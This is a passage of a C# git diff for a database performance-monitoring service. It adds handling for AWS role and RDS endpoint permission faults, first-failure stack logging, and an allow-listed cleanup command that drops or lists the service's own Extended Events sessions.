             await DarlingObservability.LogCollectionAsync(
                 _postgres!, runtime, collectorName, "SESSION_MISSING", 0, runClock.ElapsedMilliseconds, 0, ex.Message, fanout: null, phases: null, drain: null, fetchPhases: null, sweepPeerMaxMs: peerMaxAtDispatchMs, _logger, cancellationToken);
             return 0;
         }
+        catch (Exception ex) when (AwsRoleConfigurationFault(ex) is { } assume)
+        {
+            /* #5452: the AWS role on this server cannot be used: the allow list does not list it, its partition is not the
+               target's, or STS refused to hand it out. FIRST of the RDS arms, and ahead of every arm that reads the text of an
+               AWS failure: an STS denial says "is not authorized to perform", which the log and Performance Insights arms
+               below would read as the monitoring host's own IAM role missing a grant, and tell an operator to fix the wrong
+               role. PERMISSIONS, like the other refused-source outcomes, with the exception's own message, which names the role
+               ARN and whether an external ID is set and never the ID. Nothing was read this cycle. Written on every sweep so
+               collection health keeps reading it. The other kinds (the host's credentials, no source identity, a transient
+               STS failure) carry no operator-fixable setting and fall through to the general ERROR arm with the same message. */
+            var roleNote = AwsRoleFaultNote(_logger, server.Config.DisplayName, collectorName, assume);
+
+            await DarlingObservability.LogCollectionAsync(
+                _postgres!, runtime, collectorName, "PERMISSIONS", 0, 0, runClock.ElapsedMilliseconds, roleNote,
+                fanout: null, phases: null, drain: null, fetchPhases: null, sweepPeerMaxMs: peerMaxAtDispatchMs, _logger, cancellationToken);
+            return 0;
+        }
+        catch (RdsEndpointMismatchException ex)
+        {
+            /* The host is not the endpoint AWS reports for the id parsed from it, or the target did not accept a fresh
+               login, so no RDS or Performance Insights call was made for this target. PERMISSIONS, like the other
+               refused-source outcomes, and the message names the host and the id (or the login). Written on every sweep
+               so collection health keeps reading it. */
+            _logger.LogWarning(ex is RdsTargetLoginException
+                    ? "  [{Server}] {Collector} => PERMISSIONS: the target did not accept a fresh login"
+                    : "  [{Server}] {Collector} => PERMISSIONS: the host does not match the endpoint AWS reports",
+                server.Config.DisplayName, collectorName);
+
+            await DarlingObservability.LogCollectionAsync(
+                _postgres!, runtime, collectorName, "PERMISSIONS", 0, 0, runClock.ElapsedMilliseconds, ex.Message,
+                fanout: null, phases: null, drain: null, fetchPhases: null, sweepPeerMaxMs: peerMaxAtDispatchMs, _logger, cancellationToken);
+            return 0;
+        }
         catch (RdsLogUnavailableException ex) when (ex.IsAuthorizationFailure)
         {
             /* #2633: the AWS call was DENIED, so nothing was read. Degraded to PERMISSIONS rather than
@@ -12239,7 +15061,8 @@ await DarlingObservability.LogCollectionAsync(
                 _postgres!, runtime, collectorName, "PERMISSIONS", 0, 0, runClock.ElapsedMilliseconds,
                 $"{ex.Message} — the MONITORING HOST's IAM role lacks a grant this source needs, which is "
                 + "not a database grant: plan capture on managed PostgreSQL reads the server log through "
-                + "the RDS API, so the role needs rds:DescribeDBLogFiles and rds:DownloadDBLogFilePortion "
+                + "the RDS API, so the role needs rds:DescribeDBInstances, rds:DescribeDBClusters, "
+                + "rds:DescribeDBLogFiles and rds:DownloadDBLogFilePortion "
                 + "on the target instance. Nothing was read this cycle — this is NOT 'no plans were "
                 + "captured'.",
                 fanout: null, phases: null, drain: null, fetchPhases: null, sweepPeerMaxMs: peerMaxAtDispatchMs, _logger, cancellationToken);
@@ -12654,6 +15477,28 @@ stale pg_read_binary_file verdict so a grant made in answer takes effect next cy
             _logger.LogError("  [{Server}] {Collector} => ERROR: {Message}",
                 server.Config.DisplayName, collectorName, message);
 
+            /* #5003: the first failure of each kind from a collector since the service started is written once more
+               with its full text, so the next "Collection was modified" (or any other fault in our own code) names the
+               frame that threw. The line above stays as it is for every failure, and so does the collection_log row.
+
+               The text goes into the message rather than only onto the exception object: the file log renders an
+               exception it is handed as "Type: Message" and drops the stack (DarlingFileLoggerProvider.Log), and the
+               file is the log an operator reads. An OutOfMemoryException is never given one - this arm is its landing
+               pad, and building the text allocates.
+
+               The ERROR (timeout) arm above is deliberately left alone. Its filter admits only an NpgsqlException that
+               the provider classifies as a command timeout, so its cause is a deadline by construction, the authored
+               sentence already names the collector, the database, the elapsed time and the side whose deadline fired,
+               and a stack there would be Npgsql's read frames. A bug in our own code cannot reach it. */
+            if (_collectorFaultStacks.TakeFirst(collectorName, ex) is { } faultText)
+            {
+                _logger.LogError(ex,
+                    "  [{Server}] {Collector} => ERROR detail: first {ExceptionType} from this collector since the service "
+                    + "started, with its full text so the frame that threw is on record. Later failures of this kind log "
+                    + "the one line only.{FullText}",
+                    server.Config.DisplayName, collectorName, ex.GetType().Name, Environment.NewLine + faultText);
+            }
+
             /* A dead connection poisons every collector — force a reconnect + reprobe. The Postgres arm
                matters as much as the SQL Server one and is deliberately NARROWER than "any
                PostgresException": a cancelled statement (57014) is not a dead socket whichever side
@@ -12720,11 +15565,12 @@ await DarlingObservability.LogCollectionAsync(
     /// containment every other fire-and-track body in this file gets.
     /// </summary>
     private async Task RunDetachedAsync(
-        ServerLoopState server, DarlingCollectorRunner runner, string collectorName, int? peerMaxAtDispatchMs, CancellationToken cancellationToken)
+        ServerLoopState server, DarlingCollectorRunner runner, string collectorName, int? peerMaxAtDispatchMs, CancellationToken cancellationToken,
+        bool detachedDaily = false, RunTimeHandOff? runTimeHandOff = null)
     {
         try
         {
-            await RunOneAsync(server, runner, collectorName, peerMaxAtDispatchMs, cancellationToken);
+            await RunOneAsync(server, runner, collectorName, peerMaxAtDispatchMs, cancellationToken, detachedDaily, runTimeHandOff);
         }
         catch (OperationCanceledException)
         {
@@ -12732,7 +15578,13 @@ private async Task RunDetachedAsync(
                specifically for having no wall-clock-derived window (query_store's is watermark-driven,
                #1960; plan_correction re-reads the live DMV set whole on every pass), so a run dropped
                here resumes correctly — from the same watermark, or by re-reading the current set — on
-               the next start. */
+               the next start.
+
+               #4938: a daily run is the same. It reads the target as it is now (a delta-family collector
+               cannot be scheduled this slowly, see CollectorDeltaCalculator.MaxDeltaFrequencyMinutes), and
+               a run dropped here wrote no row, so the next start seeds it overdue from its last-run mark
+               and runs it promptly. A run still waiting for a permit ends here too: the wait is on this
+               same token. */
         }
     }
 
@@ -12876,6 +15728,15 @@ public DarlingXeSessionMissingException(string message, Exception inner) : base(
         public DarlingXeSessionMissingException(string message) : base(message) { }
     }
 
+    /// <summary>
+    /// #5378: the reconcile's kept failure to create the long-query session was a permission denial. Only its message
+    /// survives to the run, like <see cref="DarlingXeSessionMissingException"/>; the run records PERMISSIONS for it.
+    /// </summary>
+    private sealed class DarlingXeSessionDeniedException : Exception
+    {
+        public DarlingXeSessionDeniedException(string message) : base(message) { }
+    }
+
     private static async Task<CollectorRunResult> RunXeTolerantAsync<TRow>(
         ICollectorDefinition<TRow> definition, DarlingCollectorRunner runner, ServerRuntime server, CancellationToken cancellationToken)
     {
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingXeSessionCleanup.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingXeSessionCleanup.cs
index beea654273..778027a95b 100644
--- a/Darling/PerformanceMonitor.Darling.Service/DarlingXeSessionCleanup.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingXeSessionCleanup.cs
@@ -8,11 +8,13 @@
 
 using System;
 using System.Collections.Generic;
+using System.Globalization;
 using System.IO;
 using System.Linq;
 using System.Threading;
 using System.Threading.Tasks;
 using Microsoft.Data.SqlClient;
+using PerformanceMonitor.Alerting;
 using PerformanceMonitor.Collectors;
 using PerformanceMonitor.Darling.Service.Targets;
 
@@ -38,15 +40,51 @@ public sealed record ExistingXeSession(string Name, XeSessionScope Scope, string
 /// <see cref="DarlingXeSessionCleanup.DropStatement"/>, which accepts only Darling's own session names, so no code path can
 /// hand the executor a statement that did not come from the allow-list.
 /// </summary>
-public sealed record XeSessionDrop(ExistingXeSession Session)
+public sealed record XeSessionDrop(ExistingXeSession Session, string? InstallId = null)
 {
     /// <summary>The single statement that drops <see cref="Session"/>, bracket-quoted.</summary>
-    public string Statement => DarlingXeSessionCleanup.DropStatement(Session.Name, Session.Scope);
+    public string Statement => DarlingXeSessionCleanup.DropStatement(Session.Name, Session.Scope, InstallId);
 }
 
-/// <summary>What a search of one target found: the Darling sessions that exist, and a sentence for every place that could
-/// not be searched (an Azure SQL Database database that refused the connection, say).</summary>
-public sealed record XeSessionSearch(IReadOnlyList<ExistingXeSession> Sessions, IReadOnlyList<string> Problems);
+/// <summary>What a search of one target found: the Darling sessions that exist, and a sentence for every monitored place
+/// that could not be searched (an Azure SQL Database database that refused the connection, say), each of which fails the
+/// run. <see cref="Notes"/> holds the sentences for a place the registration excludes, which the search opened only for the
+/// long-query session and could not search: it says where a session may be left and does not fail the run. It also holds the
+/// sentence for this install's long-query session that the search left out of <see cref="Sessions"/> because another
+/// registration of this install keeps it on the same instance.</summary>
+public sealed record XeSessionSearch(IReadOnlyList<ExistingXeSession> Sessions, IReadOnlyList<string> Problems)
+{
+    /// <summary>A sentence for each excluded database that could not be searched for the long-query session, and one for this
+    /// install's long-query session left in place on an instance because another registration of this install keeps it. The
+    /// verb prints each on stderr and does not change its exit code for it: before the search reached excluded databases, the
+    /// verb never opened one, so an excluded database the login cannot open is not a reason to stop a script that removes the
+    /// server next. A session left in such a database needs a manual drop.</summary>
+    public IReadOnlyList<string> Notes { get; init; } = Array.Empty<string>();
+
+    /// <summary>The sessions of other installs the search found (<see cref="DarlingXeSessionCleanup.ComposeFindOthersSql"/>).
+    /// The verb lists them and never drops them.</summary>
+    public IReadOnlyList<ExistingXeSession> Others { get; init; } = Array.Empty<ExistingXeSession>();
+}
+
+/// <summary>What the verb reads from the Darling store before it connects to the server: this install's id, every schedule
+/// override (so another registration's long-query setting is its effective one: its own override, else the install's
+/// default), and each registration's last-known instance name
+/// (<see cref="PerformanceMonitor.Collectors.ServerEpoch.LastKnownName"/>).</summary>
+/// <param name="InstallId">This install's id, or null when the store has none yet or could not be read.</param>
+/// <param name="ScheduleOverrides">Every row of the store's collector schedules, or null when they could not be read. With
+/// none read, every other registration counts as having its long-query trace on.</param>
+/// <param name="InstanceNames">The last-known <c>@@SERVERNAME</c> of each registration, by registration id. A registration
+/// with no name matches no instance, so a session is never left in place for it.</param>
+/// <param name="Note">Why the id is not known, when it is not.</param>
+internal sealed record XeCleanupStoreFacts(
+    string? InstallId,
+    IReadOnlyList<ScheduleOverride>? ScheduleOverrides = null,
+    IReadOnlyDictionary<int, string>? InstanceNames = null,
+    string? Note = null)
+{
+    /// <summary>A store that holds no install id and nothing else the verb reads.</summary>
+    public static XeCleanupStoreFacts NoId { get; } = new(InstallId: null);
+}
 
 /// <summary>
 /// The seam between the cleanup verb's decisions and the SQL Server it runs against, so the whole verb is testable
@@ -55,7 +93,9 @@ public sealed record XeSessionSearch(IReadOnlyList<ExistingXeSession> Sessions,
 public interface IXeSessionCleanupTarget
 {
     /// <summary>Which of Darling's sessions exist on the target. Throws when the target itself cannot be searched; a
-    /// place inside it that cannot be searched comes back as a <see cref="XeSessionSearch.Problems"/> entry instead.</summary>
+    /// monitored place inside it that cannot be searched comes back as a <see cref="XeSessionSearch.Problems"/> entry instead,
+    /// and an excluded database that cannot be searched for the long-query session as a <see cref="XeSessionSearch.Notes"/>
+    /// entry.</summary>
     Task<XeSessionSearch> FindSessionsAsync(CancellationToken cancellationToken);
 
     /// <summary>Runs one planned drop. Throws when the server refuses it.</summary>
@@ -63,25 +103,29 @@ public interface IXeSessionCleanupTarget
 }
 
 /// <summary>
-/// The <c>--drop-xe-sessions</c> verb's plan and executor (#4732): removes the Extended Events sessions Darling leaves on a
-/// server after the server stops being monitored.
+/// The <c>--drop-xe-sessions</c> verb's plan and executor (#4732, #4961): drops the Extended Events sessions Darling can
+/// leave on a server, and lists the sessions of other installs for the operator to drop.
 ///
-/// <para><b>Why an explicit verb and not part of removing a server.</b> The service never drops these sessions when a
-/// server is removed, for two reasons that do not go away: the names are shared with Lite and with any other Darling
-/// service that monitors the same server (dropping them under a monitor that is still running blinds it until its next
-/// connect or cycle), and a server that is unreachable from the service cannot be cleaned at all. The deadlock and
-/// blocked-process sessions cost a 4 MB ring buffer each; the long-query completion session has a 4 MB ring buffer too
-/// and also tests every completed statement and batch against its duration filter, which is why it is opt-in. An
-/// operator who wants them gone runs this deliberately.</para>
+/// <para><b>What removal drops, and what is left for this verb.</b> Removing a server drops this install's own sessions on it
+/// (<see cref="DarlingRemovedServerSessions"/>): one attempt within 15 seconds, except a session another registration of this
+/// install keeps. This verb is for what removal could not drop, such as a server that was unreachable at removal or a drop
+/// that timed out. It also drops the old shared long-query session, which the service tries to drop only once, and the shared
+/// deadlock and blocked-process sessions. Those names are shared with Lite and with any other Darling service that monitors
+/// the same server, so the service never drops them (dropping them under a monitor that is still running blinds it until its
+/// next connect or cycle). And it lists the sessions of other installs, each with a guarded DROP the operator runs when that
+/// install no longer monitors the server. The named form finds a server only while it is still registered, so after a
+/// removal the <c>--print-sql</c> script is the way. The deadlock and blocked-process sessions cost a 4 MB ring buffer each;
+/// the long-query completion session has a 4 MB ring buffer too and also tests every completed statement and batch against
+/// its duration filter, which is why it is opt-in.</para>
 ///
 /// <para><b>Only Darling's own names, never one from input.</b> <see cref="SessionNames"/> is the deadlock and
-/// blocked-process sessions the ensure lifecycle in <see cref="DarlingXeSessions"/> creates, and the opt-in long-query
-/// completion session its reconcile creates while that collector is on, all taken from the same constants the collectors
-/// read. <see cref="DropStatement"/> refuses any other name, and <see cref="PlanDrops"/> rewrites a matching name to the
-/// constant before it builds a statement, so what reaches a server is always Darling's own spelling, bracket-quoted.
-/// The long-query completion session is in the list because the service drops it itself only for a server it still
-/// monitors, when that collector is turned off (<see cref="DarlingXeSessions.ReconcileLongQueryCompletionsAsync"/>): a
-/// server removed while the collector was on keeps the session, and this verb is the only thing that can drop it.</para>
+/// blocked-process sessions the ensure lifecycle in <see cref="DarlingXeSessions"/> creates, and the old shared long-query
+/// completion session that older versions made; <see cref="InstallSessionNames"/> adds this install's own, named from its id.
+/// All of them are taken from the same constants and builders the collectors use. <see cref="DropStatement"/> refuses any
+/// other name, and <see cref="PlanDrops"/> rewrites a matching name to the constant before it builds a statement, so what
+/// reaches a server is always Darling's own spelling, bracket-quoted. The old shared long-query session is in the list
+/// because the service drops it only once and then leaves it (<see cref="DarlingLegacyLongQuerySession"/>), and removing a
+/// server does not drop it.</para>
 ///
 /// <para><b>Plan and executor are separate.</b> <see cref="PlanDrops"/> and <see cref="GuardedDropScript"/> are pure and
 /// pin as text. <see cref="RunAsync"/> is the thin executor over <see cref="IXeSessionCleanupTarget"/>, so tests drive the
@@ -95,9 +139,132 @@ public static class DarlingXeSessionCleanup
     {
         DeadlocksCollector.XeSessionName,
         BlockedProcessReportCollector.XeSessionName,
-        LongQueryCompletionsCollector.XeSessionName,
+        /* The legacy long-query name, on purpose (#4961): this verb finds and drops the session that older versions made and
+           every install shared. An install now makes its own session, named from its id, and this list does not name it yet. */
+        LongQueryCompletionsCollector.LegacyXeSessionName,
     };
 
+    /// <summary>
+    /// This install's own sessions (#4961), made by the builders the collectors use, never by hand: its long-query session and,
+    /// on Azure SQL Database, the deadlock and blocked-process fallbacks it makes when a shared session is unusable. Empty when
+    /// <paramref name="installId"/> is not an install id, because an install with no id has made none of them.
+    /// </summary>
+    public static IReadOnlyList<string> InstallSessionNames(string? installId)
+    {
+        if (!InstallId.IsValid(installId))
+        {
+            return Array.Empty<string>();
+        }
+
+        return new[]
+        {
+            LongQueryCompletionsCollector.XeSessionNameFor(LongQueryCompletionsCollector.DarlingProduct, installId),
+            AlwaysOnXeSessions.OwnNameFor(LongQueryCompletionsCollector.DarlingProduct, installId, AlwaysOnXeSessionKind.Deadlock),
+            AlwaysOnXeSessions.OwnNameFor(LongQueryCompletionsCollector.DarlingProduct, installId, AlwaysOnXeSessionKind.BlockedProcess),
+        };
+    }
+
+    /// <summary>The sessions the verb may drop for an install: <see cref="SessionNames"/> (the two shared names and the old
+    /// shared long-query name), then <see cref="InstallSessionNames"/>. The one allow-list: <see cref="DropStatement"/>, the
+    /// plan and the find text all read it.</summary>
+    public static IReadOnlyList<string> NamesToDrop(string? installId) => SessionNames.Concat(InstallSessionNames(installId)).ToList();
+
+    /* The per-install shapes, cut from the shared names so no second spelling exists: PerformanceMonitor_{product}_{id}_{suffix}
+       becomes a LIKE pattern with the underscores escaped. The shared names and the old shared long-query name carry no middle
+       segment, so none of them matches. */
+    private const string SharedNamePrefix = "PerformanceMonitor_";
+
+    private static string PerInstallPattern(string sharedName) =>
+        "PerformanceMonitor[_]%[_]" + sharedName.Substring(SharedNamePrefix.Length);
+
+    /// <summary>
+    /// True when <paramref name="name"/> is the exact shape of another install's session (<c>PerformanceMonitor_{Lite|Darling}_{id}_</c>
+    /// and a long-query, deadlock or blocked-process suffix) and is not one of this install's own. False for every name when
+    /// <paramref name="installId"/> is not an id: with no id the verb cannot tell this install's sessions from another's, so it
+    /// lists none. The exact shape, not the LIKE match, decides, so a name is never printed into a statement unless it is made of
+    /// the product, a hex id and a fixed suffix.
+    /// </summary>
+    public static bool IsOtherInstallSessionName(string? name, string? installId)
+    {
+        if (name is null || !InstallId.IsValid(installId))
+        {
+            return false;
+        }
+
+        var shaped = LongQueryCompletionsCollector.IsInstallSessionName(name)
+            || AlwaysOnXeSessions.IsOwnName(name, AlwaysOnXeSessionKind.Deadlock)
+            || AlwaysOnXeSessions.IsOwnName(name, AlwaysOnXeSessionKind.BlockedProcess);
+        return shaped && !InstallSessionNames(installId).Contains(name, StringComparer.OrdinalIgnoreCase);
+    }
+
+    /// <summary>
+    /// The query that lists the sessions of every install, this one's included, in the catalog of <paramref name="scope"/>: the
+    /// three per-install shapes as LIKE patterns. The caller drops this install's own names from the result and lists the rest
+    /// (<see cref="IsOtherInstallSessionName"/>). The patterns are fixed text, never input.
+    /// </summary>
+    internal static string ComposeFindOthersSql(XeSessionScope scope)
+    {
+        var (catalogView, alias) = scope switch
+        {
+            XeSessionScope.Server => ("sys.server_event_sessions", "ses"),
+            XeSessionScope.Database => ("sys.database_event_sessions", "des"),
+            _ => throw new ArgumentOutOfRangeException(nameof(scope)),
+        };
+
+        var patterns = new[]
+        {
+            LongQueryCompletionsCollector.LegacyXeSessionName,
+            DeadlocksCollector.XeSessionName,
+            BlockedProcessReportCollector.XeSessionName,
+        }.Select(PerInstallPattern).ToList();
+
+        var conditions = string.Join(Environment.NewLine + "OR ", patterns.Select(pattern => $"{alias}.name LIKE N'{pattern}'"));
+        return $@"
+SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
+
+SELECT /* PerformanceMonitorDarling */
+    {alias}.name
+FROM {catalogView} AS {alias}
+WHERE {conditions};";
+    }
+
+    /// <summary>The line above the sessions of other installs the verb lists. It says the verb never drops them.</summary>
+    public const string OtherInstallsHeading =
+        "Sessions of other installs on this server. This verb lists them and never drops them. "
+        + "Run a statement below only when that install no longer monitors this server:";
+
+    /// <summary>What the verb says when the store holds no install id: it leaves every session named for an install alone.</summary>
+    public const string NoInstallIdNote =
+        "The store has no install id yet, so this run leaves alone every session named for an install. "
+        + "The service makes the id when it starts.";
+
+    /// <summary>The guarded DROP of one session as lines of text: an <c>IF EXISTS</c> against the catalog of its scope around the
+    /// DROP. The caller has already limited the name to one it may print (<see cref="DropStatement"/>'s list, or
+    /// <see cref="IsOtherInstallSessionName"/>).</summary>
+    internal static IReadOnlyList<string> GuardedDropLines(string name, XeSessionScope scope)
+    {
+        var (catalogView, alias) = scope switch
+        {
+            XeSessionScope.Server => ("sys.server_event_sessions", "ses"),
+            XeSessionScope.Database => ("sys.database_event_sessions", "des"),
+            _ => throw new ArgumentOutOfRangeException(nameof(scope)),
+        };
+
+        return new[]
+        {
+            "IF EXISTS",
+            "(",
+            "    SELECT",
+            "        1/0",
+            $"    FROM {catalogView} AS {alias}",
+            $"    WHERE {alias}.name = N'{name.Replace("'", "''", StringComparison.Ordinal)}'",
+            ")",
+            "BEGIN",
+            "    " + ComposeDropStatement(name, scope),
+            "END;",
+        };
+    }
+
     /// <summary>The names as one phrase for console and help text: <c>A, B and C</c>.</summary>
     public static string SessionNamesPhrase() => JoinAsPhrase(SessionNames);
 
@@ -111,7 +278,9 @@ private static string JoinAsPhrase(IReadOnlyList<string> items) =>
     /// The one warning both modes print, without its prefix. It says only what the code does: Lite ensures a missing
     /// session on every collection cycle, and <see cref="DarlingXeSessions.EnsureAllAsync"/> creates a missing session
     /// (server-scoped, or in each database on Azure SQL Database) when a Darling service next connects to the server.
-    /// Both create the long-query completion session only for a server whose collector is turned on. The deprecated Full
+    /// While its long-query trace is on, a Darling service also creates a missing long-query completion session within an
+    /// hour (<c>DarlingWorker.ReconcileLongQueryTraceAsync</c>). Both apps create the long-query completion session only for
+    /// a server whose collector is turned on. The deprecated Full
     /// Dashboard installer names the same deadlock and blocked-process sessions, and the collection procedures it installs
     /// (<c>install/22_collect_blocked_processes.sql</c>, <c>install/24_collect_deadlock_xml.sql</c>) create a missing one at
     /// the top of every run; it has no long-query completion session (#4732).
@@ -119,17 +288,18 @@ private static string JoinAsPhrase(IReadOnlyList<string> items) =>
     public const string SharedNamesWarning =
         "a Lite app, a deprecated Full Dashboard install or another Darling service that still monitors this server uses "
         + "the same session names and creates a missing session again (Lite on its next collection cycle, the Dashboard on "
-        + "its next collection run, Darling on its next connect to the server; the long query completions session only "
-        + "where that collector is turned on, and never by the Dashboard), "
+        + "its next collection run, Darling on its next connect to the server or, for the long query completions session, "
+        + "within an hour; the long query completions session only where that collector is turned on, and never by the "
+        + "Dashboard), "
         + "so run this only once nothing else monitors it.";
 
     /// <summary>What each session captures, in the words the note after a drop uses. A name with no entry reads as itself, so
     /// a session added to <see cref="SessionNames"/> is never left out of the note.</summary>
-    private static string CapturePhrase(string canonicalName) =>
-        canonicalName == DeadlocksCollector.XeSessionName ? "deadlocks"
-        : canonicalName == BlockedProcessReportCollector.XeSessionName ? "blocked processes"
-        : canonicalName == LongQueryCompletionsCollector.XeSessionName ? "long query completions"
-        : canonicalName;
+    private static string? CapturePhrase(string name) =>
+        name == DeadlocksCollector.XeSessionName || AlwaysOnXeSessions.IsOwnName(name, AlwaysOnXeSessionKind.Deadlock) ? "deadlocks"
+        : name == BlockedProcessReportCollector.XeSessionName || AlwaysOnXeSessions.IsOwnName(name, AlwaysOnXeSessionKind.BlockedProcess) ? "blocked processes"
+        : name == LongQueryCompletionsCollector.LegacyXeSessionName || LongQueryCompletionsCollector.IsInstallSessionName(name) ? "long query completions"
+        : null;
 
     /// <summary>
     /// The one line a run that dropped at least one session prints after its results, or null when nothing was dropped (a
@@ -143,8 +313,13 @@ private static string CapturePhrase(string canonicalName) =>
     {
         ArgumentNullException.ThrowIfNull(dropped);
 
-        var droppedNames = dropped.Select(d => d.Name).ToHashSet(StringComparer.Ordinal);
-        var captures = SessionNames.Where(droppedNames.Contains).Select(CapturePhrase).ToList();
+        var order = new[] { "deadlocks", "blocked processes", "long query completions" };
+        var captures = dropped
+            .Select(d => CapturePhrase(d.Name))
+            .OfType<string>()
+            .Distinct(StringComparer.Ordinal)
+            .OrderBy(phrase => Array.IndexOf(order, phrase))
+            .ToList();
         return captures.Count == 0
             ? null
             : "NOTE: capture of " + JoinAsPhrase(captures) + " on that server stops until this service reconnects to it, so remove the server next.";
@@ -198,9 +373,9 @@ internal static string ComposeFindSql(XeSessionScope scope, IReadOnlyList<string
     /// <c>DROP EVENT SESSION [name] ON SERVER;</c> or <c>... ON DATABASE;</c> for one of <see cref="SessionNames"/>.
     /// Throws <see cref="ArgumentException"/> for any other name, which is the whole of the "never a name from input" rule.
     /// </summary>
-    public static string DropStatement(string sessionName, XeSessionScope scope)
+    public static string DropStatement(string sessionName, XeSessionScope scope, string? installId = null)
     {
-        var canonical = Canonical(sessionName)
+        var canonical = Canonical(sessionName, installId)
             ?? throw new ArgumentException("Only Darling's own session names can be dropped by this verb.", nameof(sessionName));
         if (!string.Equals(canonical, sessionName, StringComparison.Ordinal))
         {
@@ -210,6 +385,62 @@ public static string DropStatement(string sessionName, XeSessionScope scope)
         return ComposeDropStatement(canonical, scope);
     }
 
+    /// <summary>
+    /// The STOP of one session in a database, for a session that runs on a read-only replica (#4961). Run state is per replica,
+    /// so a registration with read-only intent stops the session over its own connection, which reaches that replica, and only
+    /// then drops it over a connection without the intent. It takes exactly the names <see cref="DropStatement"/> takes, spelled
+    /// exactly, and throws <see cref="ArgumentException"/> for any other. The text is guarded on
+    /// <c>sys.dm_xe_database_sessions</c>, which lists the sessions that run there, so a replica where the session does not run
+    /// is a clean no-op.
+    /// </summary>
+    public static string StopStatement(string sessionName, string? installId = null)
+    {
+        var canonical = Canonical(sessionName, installId)
+            ?? throw new ArgumentException("Only Darling's own session names can be stopped by this verb.", nameof(sessionName));
+        if (!string.Equals(canonical, sessionName, StringComparison.Ordinal))
+        {
+            throw new ArgumentException("The session name is not spelled exactly as Darling creates it.", nameof(sessionName));
+        }
+
+        return ComposeStopStatement(canonical);
+    }
+
+    /// <summary>
+    /// The STOP for a name the caller has already limited to a list it owns, as <see cref="ComposeDropStatement"/> is for the
+    /// drop. A long-query name (this install's own, or the old shared one) and this install's own deadlock or blocked-process
+    /// fallback are stopped by the builders the collectors use
+    /// (<see cref="LongQueryCompletionsCollector.BuildStopSessionSql"/>, <see cref="AlwaysOnXeSessions.BuildAzureStopSql"/>). The
+    /// two shared names are ones no builder takes, so they get the long-query builder's guard around one STOP.
+    /// </summary>
+    internal static string ComposeStopStatement(string sessionName)
+    {
+        if (string.Equals(sessionName, LongQueryCompletionsCollector.LegacyXeSessionName, StringComparison.Ordinal)
+            || LongQueryCompletionsCollector.IsInstallSessionName(sessionName))
+        {
+            return LongQueryCompletionsCollector.BuildStopSessionSql(sessionName);
+        }
+
+        foreach (var kind in new[] { AlwaysOnXeSessionKind.Deadlock, AlwaysOnXeSessionKind.BlockedProcess })
+        {
+            if (AlwaysOnXeSessions.IsOwnName(sessionName, kind))
+            {
+                return AlwaysOnXeSessions.BuildAzureStopSql(kind, sessionName);
+            }
+        }
+
+        return $@"
+IF EXISTS
+(
+    SELECT
+        1/0
+    FROM sys.dm_xe_database_sessions
+    WHERE name = N'{sessionName.Replace("'", "''", StringComparison.Ordinal)}'
+)
+BEGIN
+    ALTER EVENT SESSION {BracketQuote(sessionName)} ON DATABASE STATE = STOP;
+END;";
+    }
+
     /// <summary>
     /// <c>DROP EVENT SESSION [name] ON SERVER;</c> or <c>... ON DATABASE;</c>, with no check on the name: the caller has
     /// already limited it to a list it owns. <see cref="DropStatement"/> limits it to <see cref="SessionNames"/> and the plan
@@ -223,9 +454,9 @@ public static string DropStatement(string sessionName, XeSessionScope scope)
         _ => throw new ArgumentOutOfRangeException(nameof(scope)),
     };
 
-    /// <summary>The constant spelling of <paramref name="name"/> when it is one of <see cref="SessionNames"/>, else null.</summary>
-    private static string? Canonical(string? name) =>
-        SessionNames.FirstOrDefault(n => string.Equals(n, name, StringComparison.OrdinalIgnoreCase));
+    /// <summary>The constant spelling of <paramref name="name"/> when it is one of <see cref="NamesToDrop"/>, else null.</summary>
+    private static string? Canonical(string? name, string? installId) =>
+        NamesToDrop(installId).FirstOrDefault(n => string.Equals(n, name, StringComparison.OrdinalIgnoreCase));
 
     /// <summary>
     /// The drops for the sessions that were found: pure, so "which statements for these existing sessions" pins without a
@@ -234,14 +465,14 @@ public static string DropStatement(string sessionName, XeSessionScope scope)
     /// server scope before database scope, databases by name, then the order of <see cref="SessionNames"/> (deadlock,
     /// blocked-process, long-query completions). Duplicates collapse.
     /// </summary>
-    public static IReadOnlyList<XeSessionDrop> PlanDrops(IEnumerable<ExistingXeSession> existing)
+    public static IReadOnlyList<XeSessionDrop> PlanDrops(IEnumerable<ExistingXeSession> existing, string? installId = null)
     {
         ArgumentNullException.ThrowIfNull(existing);
 
         var planned = new List<ExistingXeSession>();
         foreach (var session in existing)
         {
-            var canonical = Canonical(session.Name);
+            var canonical = Canonical(session.Name, installId);
             if (canonical is null)
             {
                 continue;
@@ -265,22 +496,23 @@ public static IReadOnlyList<XeSessionDrop> PlanDrops(IEnumerable<ExistingXeSessi
         return planned
             .OrderBy(p => p.Scope)
             .ThenBy(p => p.Database, StringComparer.OrdinalIgnoreCase)
-            .ThenBy(p => SessionIndex(p.Name))
-            .Select(p => new XeSessionDrop(p))
+            .ThenBy(p => SessionIndex(p.Name, installId))
+            .Select(p => new XeSessionDrop(p, installId))
             .ToList();
     }
 
-    private static int SessionIndex(string canonicalName)
+    private static int SessionIndex(string canonicalName, string? installId)
     {
-        for (var i = 0; i < SessionNames.Count; i++)
+        var names = NamesToDrop(installId);
+        for (var i = 0; i < names.Count; i++)
         {
-            if (SessionNames[i] == canonicalName)
+            if (names[i] == canonicalName)
             {
                 return i;
             }
         }
 
-        return SessionNames.Count;
+        return names.Count;
     }
 
     /// <summary>How one found or dropped session reads on the console.</summary>
@@ -307,47 +539,77 @@ public static string GuardedDropScript()
 
         foreach (var name in SessionNames)
         {
-            lines.Add("IF EXISTS");
-            lines.Add("(");
-            lines.Add("    SELECT");
-            lines.Add("        1/0");
-            lines.Add("    FROM sys.server_event_sessions AS ses");
-            lines.Add($"    WHERE ses.name = N'{name}'");
-            lines.Add(")");
-            lines.Add("BEGIN");
-            lines.Add("    " + DropStatement(name, XeSessionScope.Server));
-            lines.Add("END;");
+            lines.AddRange(GuardedDropLines(DropStatementName(name, XeSessionScope.Server), XeSessionScope.Server));
             lines.Add(string.Empty);
         }
 
+        lines.AddRange(PerInstallListing(XeSessionScope.Server));
+        lines.Add(string.Empty);
+
         lines.Add("-- Part 2 of 2 - run inside EACH monitored database on Azure SQL Database (a database-scoped session lives in its own database, never in master).");
 
         foreach (var name in SessionNames)
         {
-            lines.Add("IF EXISTS");
-            lines.Add("(");
-            lines.Add("    SELECT");
-            lines.Add("        1/0");
